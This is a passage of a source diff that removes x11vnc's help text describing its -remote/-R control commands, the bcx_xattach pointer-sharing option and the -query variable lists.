-" and possibly XAUTHORITY to connect to the X server\n"
-" and set the property. Alternatively, use the -display\n"
-" and -auth options to set them to the correct values.\n"
-" The running server cannot use the -novncconnect option\n"
-" because that disables the communication channel.\n"
-" See below for alternate channels.\n"
-"\n"
-" For example: 'x11vnc -remote stop' (which is the same as\n"
-" 'x11vnc -R stop') will close down the x11vnc server.\n"
-" 'x11vnc -R shared' will enable shared connections, and\n"
-" 'x11vnc -R scale:3/4' will rescale the desktop.\n"
-"\n"
-" To use a different name for the X11 property (e.g. to\n"
-" have separate communication channels for multiple\n"
-" x11vnc's on the same display) set the X11VNC_REMOTE\n"
-" environment variable to the string you want, for\n"
-" example: -env X11VNC_REMOTE=X11VNC_REMOTE_12345\n"
-" Both sides of the channel must use the same unique name.\n"
-"\n"
-" To run a bunch of commands in a sequence use something\n"
-" like: x11vnc -R 'script:firstcmd;secondcmd;...'\n"
-"\n"
-" Use x11vnc -R script:file=/path/to/file to read commands\n"
-" from a file (can be multi-line and use the comment '#'\n"
-" character in the normal way. The ';' separator must\n"
-" still be used to separate each command.)\n"
-"\n"
-" To not try to contact another x11vnc process and instead\n"
-" just run the command (or query) directly, prefix the\n"
-" command with the string \"DIRECT:\"\n"
-"\n"
-" The following -remote/-R commands are supported:\n"
-"\n"
-" stop terminate the server, same as \"quit\"\n"
-" \"exit\" or \"shutdown\".\n"
-" ping see if the x11vnc server responds.\n"
-" return is: ans=ping:<display>\n"
-" ping:mystring as above, but use your own unique string.\n"
-" return is: ans=ping:mystring:<xdisplay>\n"
-" blacken try to push a black fb update to all\n"
-" clients (due to timings a client\n"
-" could miss it). Same as \"zero\", also\n"
-" \"zero:x1,y1,x2,y2\" for a rectangle.\n"
-" refresh send the entire fb to all clients.\n"
-" reset recreate the fb, polling memory, etc.\n"
-/* ext. cmd. */
-" id:windowid set -id window to \"windowid\". empty\n"
-" or \"root\" to go back to root window\n"
-" sid:windowid set -sid window to \"windowid\"\n"
-" id_cmd:cmd cmds: raise, lower, map, unmap, iconify,\n"
-" move:dXdY, resize:dWdH, geom:WxH+X+Y. dX\n"
-" dY, dW, and dH must have a leading \"+\"\n"
-" or \"-\" e.g.: move:-30+10 resize:+20+35\n"
-" also: wm_delete, wm_name:string and\n"
-" icon_name:string. Also id_cmd:win=N:cmd\n"
-" waitmapped wait until subwin is mapped.\n"
-" nowaitmapped do not wait until subwin is mapped.\n"
-" clip:WxH+X+Y set -clip mode to \"WxH+X+Y\"\n"
-" flashcmap enable -flashcmap mode.\n"
-" noflashcmap disable -flashcmap mode.\n"
-" shiftcmap:n set -shiftcmap to n.\n"
-" notruecolor enable -notruecolor mode.\n"
-" truecolor disable -notruecolor mode.\n"
-" overlay enable -overlay mode (if applicable).\n"
-" nooverlay disable -overlay mode.\n"
-" overlay_cursor in -overlay mode, enable cursor drawing.\n"
-" overlay_nocursor disable cursor drawing. same as\n"
-" nooverlay_cursor.\n"
-" 8to24 enable -8to24 mode (if applicable).\n"
-" no8to24 disable -8to24 mode.\n"
-" 8to24_opts:str set the -8to24 opts to \"str\".\n"
-" 24to32 enable -24to32 mode (if applicable).\n"
-" no24to32 disable -24to32 mode.\n"
-" visual:vis set -visual to \"vis\"\n"
-" scale:frac set -scale to \"frac\"\n"
-" scale_cursor:f set -scale_cursor to \"f\"\n"
-" viewonly enable -viewonly mode.\n"
-/* access view,share,forever */
-" noviewonly disable -viewonly mode.\n"
-" shared enable -shared mode.\n"
-" noshared disable -shared mode.\n"
-" forever enable -forever mode.\n"
-" noforever disable -forever mode.\n"
-" timeout:n reset -timeout to n, if there are\n"
-" currently no clients, exit unless one\n"
-" connects in the next n secs.\n"
-" tightfilexfer enable filetransfer for NEW clients.\n"
-" notightfilexfer disable filetransfer for NEW clients.\n"
-" ultrafilexfer enable filetransfer for clients.\n"
-" noultrafilexfer disable filetransfer for clients.\n"
-" rfbversion:n.m set -rfbversion for new clients.\n"
-/* access */
-" http enable http client connections.\n"
-" nohttp disable http client connections.\n"
-" deny deny any new connections, same as \"lock\"\n"
-" nodeny allow new connections, same as \"unlock\"\n"
-" avahi enable avahi service advertising.\n"
-" noavahi disable avahi service advertising.\n"
-" mdns enable avahi service advertising.\n"
-" nomdns disable avahi service advertising.\n"
-" zeroconf enable avahi service advertising.\n"
-" nozeroconf disable avahi service advertising.\n"
-/* access, filename */
-" connect:host do reverse connection to host, \"host\"\n"
-" may be a comma separated list of hosts\n"
-" or host:ports. See -connect. Passwords\n"
-" required as with fwd connections.\n"
-" See X11VNC_REVERSE_CONNECTION_NO_AUTH=1\n"
-" disconnect:host disconnect any clients from \"host\"\n"
-" same as \"close:host\". Use host\n"
-" \"all\" to close all current clients.\n"
-" If you know the client internal hex ID,\n"
-" e.g. 0x3 (returned by \"-query clients\"\n"
-" and RFB_CLIENT_ID) you can use that too.\n"
-" proxy:host:port set reverse connection proxy (empty to\n"
-" disable).\n"
-/* access */
-" allowonce:host For the next connection only, allow\n"
-" connection from \"host\". In -ssl mode\n"
-" two connections are allowed (i.e. Fetch\n"
-" Cert) unless X11VNC_NO_SSL_ALLOW_TWICE=1\n"
-/* access */
-" allow:hostlist set -allow list to (comma separated)\n"
-" \"hostlist\". See -allow and -localhost.\n"
-" Do not use with -allow /path/to/file\n"
-" Use \"+host\" to add a single host, and\n"
-" use \"-host\" to delete a single host\n"
-" localhost enable -localhost mode\n"
-" nolocalhost disable -localhost mode\n"
-" listen:str set -listen to str, empty to disable.\n"
-" noipv6 enable -noipv6 mode.\n"
-" ipv6 disable -noipv6 mode.\n"
-" noipv4 enable -noipv4 mode.\n"
-" ipv4 disable -noipv4 mode.\n"
-" 6 enable -6 IPv6 listening mode.\n"
-" no6 disable -6 IPv6 listening mode.\n"
-" lookup disable -nolookup mode.\n"
-" nolookup enable -nolookup mode.\n"
-" lookup disable -nolookup mode.\n"
-" input:str set -input to \"str\", empty to disable.\n"
-" grabkbd enable -grabkbd mode.\n"
-" nograbkbd disable -grabkbd mode.\n"
-" grabptr enable -grabptr mode.\n"
-" nograbptr disable -grabptr mode.\n"
-" grabalways enable -grabalways mode.\n"
-" nograbalways disable -grabalways mode.\n"
-" grablocal:n set -grablocal to n.\n"
-" client_input:str set the K, M, B -input on a per-client\n"
-" basis. select which client as for\n"
-" disconnect, e.g. client_input:host:MB\n"
-" or client_input:0x2:K\n"
-/* ext. cmd. */
-" accept:cmd set -accept \"cmd\" (empty to disable).\n"
-" afteraccept:cmd set -afteraccept (empty to disable).\n"
-" gone:cmd set -gone \"cmd\" (empty to disable).\n"
-" noshm enable -noshm mode.\n"
-" shm disable -noshm mode (i.e. use shm).\n"
-" flipbyteorder enable -flipbyteorder mode, you may need\n"
-" to set noshm for this to do something.\n"
-" noflipbyteorder disable -flipbyteorder mode.\n"
-" onetile enable -onetile mode. (you may need to\n"
-" set shm for this to do something)\n"
-" noonetile disable -onetile mode.\n"
-/* ext. cmd. */
-" solid enable -solid mode\n"
-" nosolid disable -solid mode.\n"
-" solid_color:color set -solid color (and apply it).\n"
-" blackout:str set -blackout \"str\" (empty to disable).\n"
-" See -blackout for the form of \"str\"\n"
-" (basically: WxH+X+Y,...)\n"
-" Use \"+WxH+X+Y\" to append a single\n"
-" rectangle use \"-WxH+X+Y\" to delete one\n"
-" xinerama enable -xinerama mode. (if applicable)\n"
-" noxinerama disable -xinerama mode.\n"
-" xtrap enable -xtrap input mode(if applicable)\n"
-" noxtrap disable -xtrap input mode.\n"
-" xrandr enable -xrandr mode. (if applicable)\n"
-" noxrandr disable -xrandr mode.\n"
-" xrandr_mode:mode set the -xrandr mode to \"mode\".\n"
-" rotate:mode set the -rotate mode to \"mode\".\n"
-" padgeom:WxH set -padgeom to WxH (empty to disable)\n"
-" If WxH is \"force\" or \"do\" the padded\n"
-" geometry fb is immediately applied.\n"
-" quiet enable -quiet mode.\n"
-" noquiet disable -quiet mode.\n"
-" modtweak enable -modtweak mode.\n"
-" nomodtweak enable -nomodtweak mode.\n"
-" xkb enable -xkb modtweak mode.\n"
-" noxkb disable -xkb modtweak mode.\n"
-" capslock enable -capslock mode.\n"
-" nocapslock disable -capslock mode.\n"
-" skip_lockkeys enable -skip_lockkeys mode.\n"
-" noskip_lockkeys disable -skip_lockkeys mode.\n"
-" skip_keycodes:str enable -xkb -skip_keycodes \"str\".\n"
-" sloppy_keys enable -sloppy_keys mode.\n"
-" nosloppy_keys disable -sloppy_keys mode.\n"
-" skip_dups enable -skip_dups mode.\n"
-" noskip_dups disable -skip_dups mode.\n"
-" add_keysyms enable -add_keysyms mode.\n"
-" noadd_keysyms stop adding keysyms. those added will\n"
-" still be removed at exit.\n"
-" clear_mods enable -clear_mods mode and clear them.\n"
-" noclear_mods disable -clear_mods mode.\n"
-" clear_keys enable -clear_keys mode and clear them.\n"
-" noclear_keys disable -clear_keys mode.\n"
-" clear_locks do the clear_locks action.\n"
-" clear_all do the clear_all action.\n"
-" keystate have x11vnc print current keystate.\n"
-/* filename */
-" remap:str set -remap \"str\" (empty to disable).\n"
-" See -remap for the form of \"str\"\n"
-" (basically: key1-key2,key3-key4,...)\n"
-" Use \"+key1-key2\" to append a single\n"
-" keymapping, use \"-key1-key2\" to delete.\n"
-" norepeat enable -norepeat mode.\n"
-" repeat disable -norepeat mode.\n"
-" nofb enable -nofb mode.\n"
-" fb disable -nofb mode.\n"
-" bell enable bell (if supported).\n"
-" nobell disable bell.\n"
-" sendbell ring the bell now.\n"
-" nosel enable -nosel mode.\n"
-" sel disable -nosel mode.\n"
-" noprimary enable -noprimary mode.\n"
-" primary disable -noprimary mode.\n"
-" nosetprimary enable -nosetprimary mode.\n"
-" setprimary disable -nosetprimary mode.\n"
-" noclipboard enable -noclipboard mode.\n"
-" clipboard disable -noclipboard mode.\n"
-" nosetclipboard enable -nosetclipboard mode.\n"
-" setclipboard disable -nosetclipboard mode.\n"
-" seldir:str set -seldir to \"str\"\n"
-" resend_cutbuffer resend the most recent CUTBUFFER0 copy\n"
-" resend_clipboard resend the most recent CLIPBOARD copy\n"
-" resend_primary resend the most recent PRIMARY copy\n"
-" cursor:mode enable -cursor \"mode\".\n"
-" show_cursor enable showing a cursor.\n"
-" noshow_cursor disable showing a cursor. (same as\n"
-" \"nocursor\")\n"
-" cursor_drag enable cursor changes during drag.\n"
-" nocursor_drag disable cursor changes during drag.\n"
-" arrow:n set -arrow to alternate n.\n"
-" xfixes enable xfixes cursor shape mode.\n"
-" noxfixes disable xfixes cursor shape mode.\n"
-" alphacut:n set -alphacut to n.\n"
-" alphafrac:f set -alphafrac to f.\n"
-" alpharemove enable -alpharemove mode.\n"
-" noalpharemove disable -alpharemove mode.\n"
-" alphablend disable -noalphablend mode.\n"
-" noalphablend enable -noalphablend mode.\n"
-" cursorshape disable -nocursorshape mode.\n"
-" nocursorshape enable -nocursorshape mode.\n"
-" cursorpos disable -nocursorpos mode.\n"
-" nocursorpos enable -nocursorpos mode.\n"
-" xwarp enable -xwarppointer mode.\n"
-" noxwarp disable -xwarppointer mode.\n"
-" always_inject enable -always_inject mode.\n"
-" noalways_inject disable -always_inject mode.\n"
-" buttonmap:str set -buttonmap \"str\", empty to disable\n"
-" dragging disable -nodragging mode.\n"
-" nodragging enable -nodragging mode.\n"
-" ncache reenable -ncache mode.\n"
-" noncache disable -ncache mode.\n"
-" ncache_size:n set -ncache size to n.\n"
-" ncache_cr enable -ncache_cr mode.\n"
-" noncache_cr disable -ncache_cr mode.\n"
-" ncache_no_moveraise enable no_moveraise mode.\n"
-" noncache_no_moveraise disable no_moveraise mode.\n"
-" ncache_no_dtchange enable ncache_no_dtchange mode.\n"
-" noncache_no_dtchange disable ncache_no_dtchange mode.\n"
-" ncache_old_wm enable ncache_old_wm mode.\n"
-" noncache_old_wm disable ncache_old_wm mode.\n"
-" ncache_no_rootpixmap enable ncache_no_rootpixmap.\n"
-" noncache_no_rootpixmap disable ncache_no_rootpixmap.\n"
-" ncache_reset_rootpixmap recheck the root pixmap, ncrp\n"
-" ncache_keep_anims enable ncache_keep_anims.\n"
-" noncache_keep_anims disable ncache_keep_anims.\n"
-" ncache_pad:n set -ncache_pad to n.\n"
-" wireframe enable -wireframe mode. same as \"wf\"\n"
-" nowireframe disable -wireframe mode. same as \"nowf\"\n"
-" wireframe:str enable -wireframe mode string.\n"
-" wireframe_mode:str enable -wireframe mode string.\n"
-" wireframelocal enable wireframelocal. same as \"wfl\"\n"
-" nowireframe disable wireframelocal. same as \"nowfl\"\n"
-" wirecopyrect:str set -wirecopyrect string. same as \"wcr:\"\n"
-" scrollcopyrect:str set -scrollcopyrect string. same \"scr\"\n"
-" noscrollcopyrect disable -scrollcopyrect mode. \"noscr\"\n"
-" scr_area:n set -scr_area to n\n"
-" scr_skip:list set -scr_skip to \"list\"\n"
-" scr_inc:list set -scr_inc to \"list\"\n"
-" scr_keys:list set -scr_keys to \"list\"\n"
-" scr_term:list set -scr_term to \"list\"\n"
-" scr_keyrepeat:str set -scr_keyrepeat to \"str\"\n"
-" scr_parms:str set -scr_parms parameters.\n"
-" fixscreen:str set -fixscreen to \"str\".\n"
-" noxrecord disable all use of RECORD extension.\n"
-" xrecord enable use of RECORD extension.\n"
-" reset_record reset RECORD extension (if avail.)\n"
-" pointer_mode:n set -pointer_mode to n. same as \"pm\"\n"
-" input_skip:n set -input_skip to n.\n"
-" allinput enable use of -allinput mode.\n"
-" noallinput disable use of -allinput mode.\n"
-" input_eagerly enable use of -input_eagerly mode.\n"
-" noinput_eagerly disable use of -input_eagerly mode.\n"
-" ssltimeout:n set -ssltimeout to n.\n"
-" speeds:str set -speeds to str.\n"
-" wmdt:str set -wmdt to str.\n"
-" debug_pointer enable -debug_pointer, same as \"dp\"\n"
-" nodebug_pointer disable -debug_pointer, same as \"nodp\"\n"
-" debug_keyboard enable -debug_keyboard, same as \"dk\"\n"
-" nodebug_keyboard disable -debug_keyboard, same as \"nodk\"\n"
-" keycode:n inject keystroke 'keycode' (xmodmap -pk)\n"
-" keycode:n,down inject 'keycode' (down=0,1)\n"
-" keysym:str inject keystroke 'keysym' (number/name)\n"
-" keysym:str,down inject 'keysym' (down=0,1)\n"
-" ptr:x,y,mask inject pointer event x, y, button-mask\n"
-" fakebuttonevent:button,down direct XTestFakeButtonEvent.\n"
-" sleep:t sleep floating point time t.\n"
-" get_xprop:p get X property named 'p'.\n"
-" set_xprop:p:val set X property named 'p' to 'val'.\n"
-" p -> id=NNN:p for hex/dec window id.\n"
-" wininfo:id get info about X window id. use 'root'\n"
-" for root window, use +id for children.\n"
-" grab_state get state of pointer and keyboard grab.\n"
-" pointer_pos print XQueryPointer x,y cursor position.\n"
-" pointer_x print XQueryPointer x cursor position.\n"
-" pointer_y print XQueryPointer y cursor position.\n"
-" pointer_same print XQueryPointer ptr on same screen.\n"
-" pointer_root print XQueryPointer curr ptr rootwin.\n"
-" pointer_mask print XQueryPointer button and mods mask\n"
-" mouse_x print x11vnc's idea of cursor position.\n"
-" mouse_y print x11vnc's idea of cursor position.\n"
-" noop do nothing.\n"
-" defer:n set -defer to n ms,same as deferupdate:n\n"
-" wait:n set -wait to n ms.\n"
-" extra_fbur:n set -extra_fbur to n.\n"
-" wait_ui:f set -wait_ui factor to f.\n"
-" setdefer:n set -setdefer to -2,-1,0,1, or 2.\n"
-" wait_bog disable -nowait_bog mode.\n"
-" nowait_bog enable -nowait_bog mode.\n"
-" slow_fb:f set -slow_fb to f seconds.\n"
-" xrefresh:f set -xrefresh to f seconds.\n"
-" readtimeout:n set read timeout to n seconds.\n"
-" nap enable -nap mode.\n"
-" nonap disable -nap mode.\n"
-" sb:n set -sb to n s, same as screen_blank:n\n"
-" fbpm disable -nofbpm mode.\n"
-" nofbpm enable -nofbpm mode.\n"
-" dpms disable -nodpms mode.\n"
-" nodpms enable -nodpms mode.\n"
-" forcedpms enable -forcedpms mode.\n"
-" noforcedpms disable -forcedpms mode.\n"
-" clientdpms enable -clientdpms mode.\n"
-" noclientdpms disable -clientdpms mode.\n"
-" noserverdpms enable -noserverdpms mode.\n"
-" serverdpms disable -noserverdpms mode.\n"
-" noultraext enable -noultraext mode.\n"
-" ultraext disable -noultraext mode.\n"
-" chatwindow enable local chatwindow mode.\n"
-" nochatwindow disable local chatwindow mode.\n"
-" chaton begin chat using local window.\n"
-" chatoff end chat using local window.\n"
-" xdamage enable xdamage polling hints.\n"
-" noxdamage disable xdamage polling hints.\n"
-" xd_area:A set -xd_area max pixel area to \"A\"\n"
-" xd_mem:f set -xd_mem remembrance to \"f\"\n"
-" fs:frac set -fs fraction to \"frac\", e.g. 0.5\n"
-" gaps:n set -gaps to n.\n"
-" grow:n set -grow to n.\n"
-" fuzz:n set -fuzz to n.\n"
-" snapfb enable -snapfb mode.\n"
-" nosnapfb disable -snapfb mode.\n"
-" rawfb:str set -rawfb mode to \"str\".\n"
-" uinput_accel:f set uinput_accel to f.\n"
-" uinput_thresh:n set uinput_thresh to n.\n"
-" uinput_reset:n set uinput_reset to n ms.\n"
-" uinput_always:n set uinput_always to 1/0.\n"
-" progressive:n set LibVNCServer -progressive slice\n"
-" height parameter to n.\n"
-" desktop:str set -desktop name to str for new clients.\n"
-" rfbport:n set -rfbport to n.\n"
-" macnosaver enable -macnosaver mode.\n"
-" macsaver disable -macnosaver mode.\n"
-" macnowait enable -macnowait mode.\n"
-" macwait disable -macnowait mode.\n"
-" macwheel:n set -macwheel to n.\n"
-" macnoswap enable -macnoswap mouse button mode.\n"
-" macswap disable -macnoswap mouse button mode.\n"
-" macnoresize enable -macnoresize mode.\n"
-" macresize disable -macnoresize mode.\n"
-" maciconanim:n set -maciconanim to n.\n"
-" macmenu enable -macmenu mode.\n"
-" macnomenu disable -macmenu mode.\n"
-" macuskbd enable -macuskbd mode.\n"
-" macnouskbd disable -macuskbd mode.\n"
-/* access */
-" httpport:n set -httpport to n.\n"
-" httpdir:dir set -httpdir to dir (and enable http).\n"
-" enablehttpproxy enable -enablehttpproxy mode.\n"
-" noenablehttpproxy disable -enablehttpproxy mode.\n"
-" alwaysshared enable -alwaysshared mode.\n"
-" noalwaysshared disable -alwaysshared mode.\n"
-" (may interfere with other options)\n"
-" nevershared enable -nevershared mode.\n"
-" nonevershared disable -nevershared mode.\n"
-" (may interfere with other options)\n"
-" dontdisconnect enable -dontdisconnect mode.\n"
-" nodontdisconnect disable -dontdisconnect mode.\n"
-" (may interfere with other options)\n"
-" debug_xevents enable debugging X events.\n"
-" nodebug_xevents disable debugging X events.\n"
-" debug_xdamage enable debugging X DAMAGE mechanism.\n"
-" nodebug_xdamage disable debugging X DAMAGE mechanism.\n"
-" debug_wireframe enable debugging wireframe mechanism.\n"
-" nodebug_wireframe disable debugging wireframe mechanism.\n"
-" debug_scroll enable debugging scrollcopy mechanism.\n"
-" nodebug_scroll disable debugging scrollcopy mechanism.\n"
-" debug_tiles enable -debug_tiles\n"
-" nodebug_tiles disable -debug_tiles\n"
-" debug_grabs enable -debug_grabs\n"
-" nodebug_grabs disable -debug_grabs\n"
-" debug_sel enable -debug_sel\n"
-" nodebug_sel disable -debug_sel\n"
-" debug_ncache enable -debug_ncache\n"
-" nodebug_ncache disable -debug_ncache\n"
-" dbg enable -dbg crash shell\n"
-" nodbg disable -dbg crash shell\n"
-"\n"
-" noremote disable the -remote command processing,\n"
-" it cannot be turned back on.\n"
-"\n"
-" bcx_xattach:str This remote control command is for\n"
-" use with the BARCO xattach program or the x2x program.\n"
-" Both of these programs are for 'pointer and keyboard'\n"
-" sharing between separate X displays. In general the\n"
-" two displays are usually nearby, e.g. on the same desk,\n"
-" and this allows the user to share a single pointer and\n"
-" keyboard between them. The user moves the mouse to\n"
-" an edge and then the mouse pointer appears to 'jump'\n"
-" to the other display screen. Thus it emulates what a\n"
-" single X server would do for two screens (e.g. :0.0 and\n"
-" :0.1) The illusion of a single Xserver with multiple\n"
-" screens is achieved by forwarding events to the 2nd\n"
-" one via the XTEST extension.\n"
-"\n"
-" What the x11vnc bcx_xattach command does is to perform\n"
-" some pointer movements to try to INDUCE xattach/x2x\n"
-" to 'jump' to the other display. In what follows the\n"
-" 'master' display refers to the one that when it has\n"
-" 'focus' it is basically doing nothing besides watching\n"
-" for the mouse to go over an edge. The 'slave'\n"
-" display refers to the one to which the mouse and\n"
-" keyboard is redirected to once an edge in the master\n"
-" has been crossed. Note that the x11vnc executing the\n"
-" bcx_xattach command MUST be the one connected to the\n"
-" *master* display.\n"
-"\n"
-" Also note that when input is being redirected (via\n"
-" XTEST) from the master display to the slave display,\n"
-" the master display's pointer and keyboard are *grabbed*\n"
-" by xattach/x2x. x11vnc can use this info to verify that\n"
-" the master/slave mode change has taken place correctly.\n"
-" If you specify the \"ifneeded\" option (see below)\n"
-" and the initial grab state is that of the desired\n"
-" final state, then no pointer movements are injected\n"
-" and \"DONE,GRAB_OK\" is returned.\n"
-"\n"
-" \"str\" must contain one of \"up\", \"down\", \"left\",\n"
-" or \"right\" to indicate the direction of the 'jump'.\n"
-" \"str\" must also contain one of \"master_to_slave\"\n"
-" or \"slave_to_master\" to indicate the type of mode\n"
-" change induced by the jump. Use \"M2S\" and \"S2M\"\n"
-" as shorter aliases.\n"
-"\n"
-" \"str\" may be a \"+\" separated list of additional\n"
-" tuning options. The \"shift=n\" option indicates an\n"
-" offset shift position away from (0,0) (default 20).\n"
-" \"final=x+y\" specifies the final position of the cursor\n"
-" at the end of the normal move sequence; default 30+30.\n"
-" \"extra_move=x+y\" means to do one more pointer move\n"
-" after \"final\" to x+y. \"dt=n\" sets the sleep time\n"
-" in milliseconds between pointer moves (default: 40ms)\n"
-" \"retry=n\" specifies the maximum number of retries if\n"
-" the grab state change fails. \"ifneeded\" means to not\n"
-" apply the pointer movements if the initial grab state is\n"
-" that of the desired final state. \"nograbcheck\" means\n"
-" to not check if the grab state changed as expected and\n"
-" only apply the pointer movements (default is to check\n"
-" the grab states.)\n"
-"\n"
-" If you do not specify \"up\", etc., to bcx_xattach\n"
-" nothing will be attempted and the command returns\n"
-" the string FAIL,NO_DIRECTION_SPECIFIED. If you do\n"
-" not specify \"master_to_slave\" or \"M2S\", etc., to\n"
-" bcx_xattach nothing will be attempted and the command\n"
-" returns the string FAIL,NO_MODE_CHANGE_SPECIFIED.\n"
-"\n"
-" Otherwise, the returned string will contain \"DONE\".\n"
-" It will be \"DONE,GRAB_OK\" if the grab state changed\n"
-" as expected (or if \"ifneeded\" was supplied and\n"
-" the initial grab state was already the desired\n"
-" one.) If the initial grab state was incorrect,\n"
-" but the final grab state was correct then it is\n"
-" \"DONE,GRAB_FAIL_INIT\". If the initial grab state\n"
-" was correct, but the final grab state was incorrect\n"
-" then it is \"DONE,GRAB_FAIL_FINAL\". If both are\n"
-" incorrect it will be \"DONE,GRAB_FAIL\". Under grab\n"
-" failure the string will be followed by \":p1,k1-p2,k2\"\n"
-" where p1,k1 indicates the initial pointer and keyboard\n"
-" grab states and p2,k2 the final ones. If GRAB_FAIL or\n"
-" GRAB_FAIL_FINAL occurs, the action will be retried up\n"
-" to 3 times; trying to reset the state and sleeping a\n"
-" bit between each try. Set retry=n to adjust the number\n"
-" of retries, zero to disable retries.\n"
-"\n"
-" Examples:\n"
-" -R bcx_xattach:down+M2S\n"
-" -R bcx_xattach:up+S2M\n"
-" -R bcx_xattach:up+S2M+nograbcheck+dt=30\n"
-" -R bcx_xattach:down+M2S+extra_move=100+100\n"
-"\n"
-" or use -Q instead of -R to retrieve the result text.\n"
-"\n"
-" End of the bcx_xattach:str description.\n"
-"\n"
-" The vncconnect(1) command from standard VNC\n"
-" distributions may also be used if string is prefixed\n"
-" with \"cmd=\" E.g. 'vncconnect cmd=stop'. Under some\n"
-" circumstances xprop(1) can used if it supports -set\n"
-" (see the FAQ).\n"
-"\n"
-" If \"-connect /path/to/file\" has been supplied to the\n"
-" running x11vnc server then that file can be used as a\n"
-" communication channel (this is the only way to remote\n"
-" control one of many x11vnc's polling the same X display)\n"
-" Simply run: 'x11vnc -connect /path/to/file -remote ...'\n"
-" or you can directly write to the file via something\n"
-" like: \"echo cmd=stop > /path/to/file\", etc.\n"
-"\n"
-"-query variable Like -remote, except just query the value of\n"
-" \"variable\". \"-Q\" is an alias for \"-query\".\n"
-" Multiple queries can be done by separating variables\n"
-" by commas, e.g. -query var1,var2. The results come\n"
-" back in the form ans=var1:value1,ans=var2:value2,...\n"
-" to the standard output. If a variable is read-only,\n"
-" it comes back with prefix \"aro=\" instead of \"ans=\".\n"
-"\n"
-" Some -remote commands are pure actions that do not make\n"
-" sense as variables, e.g. \"stop\" or \"disconnect\", in\n"
-" these cases the value returned is \"N/A\". To direct a\n"
-" query straight to the X11VNC_REMOTE property or connect\n"
-" file use \"qry=...\" instead of \"cmd=...\"\n"
-"\n"
-" ans= stop quit exit shutdown ping resend_cutbuffer\n"
-" resend_clipboard resend_primary blacken zero refresh\n"
-" reset close disconnect id_cmd id sid waitmapped\n"
-" nowaitmapped clip flashcmap noflashcmap shiftcmap\n"
-" truecolor notruecolor overlay nooverlay overlay_cursor\n"
-" overlay_yescursor nooverlay_nocursor nooverlay_cursor\n"
-" nooverlay_yescursor overlay_nocursor 8to24 no8to24\n"
-" 8to24_opts 24to32 no24to32 visual scale scale_cursor\n"
-" viewonly noviewonly shared noshared forever noforever\n"
-" once timeout tightfilexfer notightfilexfer ultrafilexfer\n"
-" noultrafilexfer rfbversion deny lock nodeny unlock avahi\n"
-" mdns zeroconf noavahi nomdns nozeroconf connect proxy\n"
-" allowonce allow noipv6 ipv6 noipv4 ipv4 no6 6 localhost\n"
-" nolocalhost listen lookup nolookup accept afteraccept\n"
-" gone shm noshm flipbyteorder noflipbyteorder onetile\n"
-" noonetile solid_color solid nosolid blackout xinerama\n"
-" noxinerama xtrap noxtrap xrandr noxrandr xrandr_mode\n"
-" rotate padgeom quiet q noquiet modtweak nomodtweak xkb\n"
-" noxkb capslock nocapslock skip_lockkeys noskip_lockkeys\n"
-" skip_keycodes sloppy_keys nosloppy_keys skip_dups\n"
-" noskip_dups add_keysyms noadd_keysyms clear_mods\n"
-" noclear_mods clear_keys noclear_keys clear_all\n"
-" clear_locks keystate remap repeat norepeat fb nofb bell\n"
-" nobell sendbell sel nosel primary noprimary setprimary\n"
-" nosetprimary clipboard noclipboard setclipboard\n"
-" nosetclipboard seldir cursorshape nocursorshape\n"
-" cursorpos nocursorpos cursor_drag nocursor_drag cursor\n"
-" show_cursor noshow_cursor nocursor arrow xfixes noxfixes\n"
-" xdamage noxdamage xd_area xd_mem alphacut alphafrac\n"
-" alpharemove noalpharemove alphablend noalphablend\n"
-" xwarppointer xwarp noxwarppointer noxwarp always_inject\n"
-" noalways_inject buttonmap dragging nodragging ncache_cr\n"
-" noncache_cr ncache_no_moveraise noncache_no_moveraise\n"
-" ncache_no_dtchange noncache_no_dtchange\n"
-" ncache_no_rootpixmap noncache_no_rootpixmap\n"
-" ncache_reset_rootpixmap ncrp ncache_keep_anims\n"
-" noncache_keep_anims ncache_old_wm noncache_old_wm\n"
-" ncache_pad ncache noncache ncache_size debug_ncache\n"
-" nodebug_ncache wireframe_mode wireframe wf nowireframe\n"
-" nowf wireframelocal wfl nowireframelocal nowfl\n"
-" wirecopyrect wcr nowirecopyrect nowcr scr_area\n"
-" scr_skip scr_inc scr_keys scr_term scr_keyrepeat\n"
-" scr_parms scrollcopyrect scr noscrollcopyrect\n"
-" noscr fixscreen noxrecord xrecord reset_record\n"
-" pointer_mode pm input_skip allinput noallinput\n"
-" input_eagerly noinput_eagerly input grabkbd nograbkbd\n"
-" grabptr nograbptr grabalways nograbalways grablocal\n"
-" client_input ssltimeout speeds wmdt debug_pointer dp\n"
-" nodebug_pointer nodp debug_keyboard dk nodebug_keyboard\n"
-" nodk keycode keysym ptr fakebuttonevent sleep get_xprop\n"
-" set_xprop wininfo bcx_xattach deferupdate defer\n"
-" setdefer extra_fbur wait_ui wait_bog nowait_bog\n"
-" slow_fb xrefresh wait readtimeout nap nonap sb\n"
-" screen_blank fbpm nofbpm dpms nodpms clientdpms\n"
-" noclientdpms forcedpms noforcedpms noserverdpms\n"
-" serverdpms noultraext ultraext chatwindow nochatwindow\n"
-" chaton chatoff fs gaps grow fuzz snapfb nosnapfb\n"
-" rawfb uinput_accel uinput_thresh uinput_reset\n"
-" uinput_always progressive rfbport http nohttp httpport\n"
-" httpdir enablehttpproxy noenablehttpproxy alwaysshared\n"
-" noalwaysshared nevershared noalwaysshared dontdisconnect\n"
-" nodontdisconnect desktop debug_xevents nodebug_xevents\n"
-" debug_xevents debug_xdamage nodebug_xdamage\n"
-" debug_xdamage debug_wireframe nodebug_wireframe\n"
-" debug_wireframe debug_scroll nodebug_scroll debug_scroll\n"
-" debug_tiles dbt nodebug_tiles nodbt debug_tiles\n"
-" debug_grabs nodebug_grabs debug_sel nodebug_sel dbg\n"
-" nodbg macnosaver macsaver nomacnosaver macnowait macwait\n"
-" nomacnowait macwheel macnoswap macswap nomacnoswap\n"
-" macnoresize macresize nomacnoresize maciconanim macmenu\n"
-" macnomenu nomacmenu macuskbd nomacuskbd noremote\n"
-"\n"
-" aro= noop display vncdisplay icon_mode autoport\n"
-" loop loopbg desktopname guess_desktop guess_dbus\n"
-" http_url auth xauth users rootshift clipshift scale_str\n"
-" scaled_x scaled_y scale_numer scale_denom scale_fac_x\n"
-" scale_fac_y scaling_blend scaling_nomult4 scaling_pad\n"
-" scaling_interpolate inetd privremote unsafe safer nocmds\n"
-" passwdfile unixpw unixpw_nis unixpw_list ssl ssl_pem\n"
-" sslverify stunnel stunnel_pem https httpsredir usepw\n"
-" using_shm logfile o flag rmflag rc norc h help V version\n"
-" lastmod bg sigpipe threads readrate netrate netlatency\n"
-" pipeinput clients client_count pid ext_xtest ext_xtrap\n"
